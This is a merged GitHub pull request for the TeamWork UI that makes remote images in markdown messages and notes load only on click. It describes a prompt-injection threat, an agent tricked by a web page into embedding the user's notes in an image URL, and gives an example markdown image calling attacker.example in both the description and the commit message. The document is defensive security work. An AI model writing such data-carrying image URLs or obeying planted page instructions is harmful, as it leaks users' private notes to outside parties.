Skip to content

fix: images from other sites in messages and notes load on a click - #94

Merged
praxagent merged 1 commit into
mainfrom
fix/remote-images-click-to-load
Oct 28, 2026
Merged

praxagent merged 1 commit into
mainfrom
fix/remote-images-click-to-load

Conversation

@praxagent

Copy link
Copy Markdown
Owner

Images from other sites in messages and notes load only when clicked. Security fix.

The problem

Messages and notes are rendered markdown, often written by an agent that has just read a web page. react-markdown turns ![x](url) into a live <img>, so the browser fetches the URL the moment the message appears. A URL can carry data: an agent tricked by a page into writing ![chart](https://attacker.example/p.png?d=<your notes>) would send the notes there without anyone clicking anything. TeamWork has no CSP, and nothing on the agent's side checks an image URL in a reply.

What changes

  • Remote images become a button. In MarkdownContent, images from another origin render as "Image from attacker.example — click to load". It loads, with no referrer, only when clicked.
  • TeamWork's own images are unaffected. Same-origin images (uploads, generated files) show directly, as before. Plain links are unchanged.
  • Messages and notes both. MarkdownContent is the one markdown renderer, so this covers both. Message attachments already use TeamWork's own upload URLs.
  • Docs: a section in docs/security/exposure.md.

No CSP: an img-src 'self' policy would also block an image the user chose to load.

Found by assessing CaMeL ("Defeating Prompt Injections by Design", arXiv 2503.18813) against Prax (praxagent/prax#276).

Verification

  • MarkdownContent.images.test.tsx:
    • a remote image renders no <img> until clicked, then loads with referrerpolicy=no-referrer;
    • same-origin images render directly;
    • isLocalImage handles the edge cases (protocol-relative, other host, http vs https).
  • 151 frontend tests and make ci green; lint has no new warnings.

🤖 Generated with Claude Code

https://claude.ai/code/session_01NzJXnMXFAX7Km7aDmRc6zX

An image in rendered markdown is a URL the browser fetches the moment the
message or note appears, and a URL can carry data: an agent tricked by a page
into writing ![chart](https://attacker.example/p.png?d=<notes>) would send the
notes there with no click at all. Remote images now show as a "click to load"
button naming the site; images TeamWork serves itself show directly; loaded
images are fetched with no referrer. Plain links are unaffected.

Found reviewing CaMeL ("Defeating Prompt Injections by Design", arXiv
2503.18813) against the agent this UI is usually paired with: no gate on the
agent's side stops a reply that embeds data in an image URL, so the display
must not fetch it.
@praxagent
praxagent merged commit e6e7fcb into main Oct 28, 2026
2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant